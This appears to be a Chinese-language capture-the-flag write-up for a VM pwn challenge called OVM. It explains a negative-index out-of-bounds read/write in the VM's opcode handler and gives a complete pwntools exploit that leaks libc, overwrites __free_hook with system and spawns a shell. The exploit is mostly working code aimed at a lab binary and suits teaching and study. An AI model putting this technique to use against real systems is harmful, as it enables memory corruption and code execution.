0%

VM pwn+负数溢出

OVM

1
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11.3) stable release version 2.23, by Roland McGrath et al.
1
2
3
4
5
6
pwn: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=96a6052bb1c224343250eeddc82f0099893fa797, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,Full RELRO,NX,PIE

程序分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
write(1, "PC: ", 4uLL);
_isoc99_scanf("%hd", &reg_pc);
getchar();
write(1, "SP: ", 4uLL);
_isoc99_scanf("%hd", &reg_sp);
getchar();
reg[13] = reg_sp;
reg[15] = reg_pc;
write(1, "CODE SIZE: ", 0xBuLL);
_isoc99_scanf("%hd", &size);
getchar();
if ( reg_sp + (unsigned int)size > 0x10000 || !size )
{
write(1, "EXCEPTION\n", 0xAuLL);
exit(155);
}
  • 输入 PC 和 SP 的值
1
2
3
4
5
6
7
8
9
write(1, "CODE: ", 6uLL);
running = 1;
for ( i = 0; size > i; ++i )
{
_isoc99_scanf("%d", &memory[reg_pc + i]);
if ( (memory[i + reg_pc] & 0xFF000000) == 0xFF000000 )
memory[i + reg_pc] = 0xE0000000;
getchar();
}
  • 输入该虚拟机的字节码
1
2
3
4
5
while ( running )
{
op_code = fetch();
execute(op_code);
}
  • 然后在 execute 中执行字节码

漏洞分析

命令 READ 和 WRITE 有负数溢出:

1
2
3
4
case 0x40u:
op = (ssize_t)memory; // WRITE
memory[reg[num3]] = reg[num1];
break;
1
2
3
4
5
else if ( HIBYTE(op_code) == 0x30 )
{
op = (ssize_t)reg; // READ
reg[num1] = memory[reg[num3]];
}
  • 虽然 opcode 的3个操作数 num1,num2,num3 都是无符号的,但是 memory 和 reg 本身存放的是有符号数据
  • 于是 reg[numx] 就可能有负数溢出漏洞

入侵思路

使用 WRITE,READ 和一些辅助命令相互配合,可以泄露 memory 上方的 GOT 表

泄露脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
sla("PC: ",str(0x100))
sla("SP: ",str(0x100))
sla("CODE SIZE: ",str(7))

#debug()
p.recvuntil("CODE: ")

mov(0,1)
mov(1,62)
sub(2,0,1)
read(8,2)
sub(2,2,0)
read(9,2)
show()

p.recvuntil("R8: ")
leak_addr1 = eval("0x"+p.recvuntil("\n")[:-1])
p.recvuntil("R9: ")
leak_addr2 = eval("0x"+p.recvuntil("\n")[:-1])
leak_addr = leak_addr1 *0x100000000 + leak_addr2
libc_base = leak_addr - libc.sym['free']
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

system = libc_base + libc.sym['system']
free = libc_base + libc.sym['free']
success("system >> "+hex(system))
success("free >> "+hex(free))

由于 GOT 有 Full RELRO 保护,因此只能用 opcode 计算并劫持 free_hook-8 到全局指针 comment 上,然后通过程序提供的写入完成覆盖

这里可以选择通过 free + offset 的形式获取 free_hook-8

最后写入 bin/sh\x00 + system 就可以 get shell

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './pwn1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.23.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process(challenge)
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0xF48)\n")
pause()

def cmd(op):
p.sendline(str(op))

def mov(rx,data):
payload = 0x10000000 + rx*0x10000 + data
sl(str(payload))

def shl(r1,r2,r3):
payload = 0xc0000000 + r1*0x10000 + r2*0x100 + r3
sl(str(payload))

def add(r1,r2,r3):
payload = 0x70000000 + r1*0x10000 + r2*0x100 + r3
sl(str(payload))

def sub(r1,r2,r3):
payload = 0x80000000 + r1*0x10000 + r2*0x100 + r3
sl(str(payload))

def show():
sl(str(0xf000000000))

def read(r1,r3):
payload = 0x30000000 + r1*0x10000 + r3
sl(str(payload))

def write(r1,r3):
payload = 0x40000000 + r1*0x10000 + r3
sl(str(payload))


sla("PC: ",str(0x10))
sla("SP: ",str(0x10))
sla("CODE SIZE: ",str(24))

#debug()

p.recvuntil("CODE: ")

mov(0,1)#6
mov(1,62)
sub(2,0,1)
read(8,2)
sub(2,2,0)
read(9,2)

mov(0,0x60)#10
mov(1,0x22)
mov(3,0x34)
mov(4,8)
shl(1,1,4)
mov(4,16)
shl(3,3,4)
add(4,0,1)
add(4,4,3)
add(10,4,9)

mov(0,0)
mov(1,8)
sub(2,0,1)
mov(0,1)
write(10,2)
add(2,2,0)
write(8,2)

show()

p.recvuntil("R8: ")
leak_addr1 = eval("0x"+p.recvuntil("\n")[:-1])
p.recvuntil("R9: ")
leak_addr2 = eval("0x"+p.recvuntil("\n")[:-1])
leak_addr = leak_addr1 *0x100000000 + leak_addr2
libc_base = leak_addr - libc.sym['free']
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

system = libc_base + libc.sym['system']
free = libc_base + libc.sym['free']
free_hook = libc_base + libc.sym['__free_hook']
success("system >> "+hex(system))
success("free >> "+hex(free))
success("free_hook >> "+hex(free_hook))

sl("/bin/sh\x00"+p64(system))

"""
[+] free >> 0x7fa41010f540
[+] free_hook >> 0x7fa4104517a8
pwndbg> distance 0x7fa41010f540 0x7fa4104517a8
0x7fa41010f540->0x7fa4104517a8 is 0x342268 bytes (0x6844d words)
"""

p.interactive()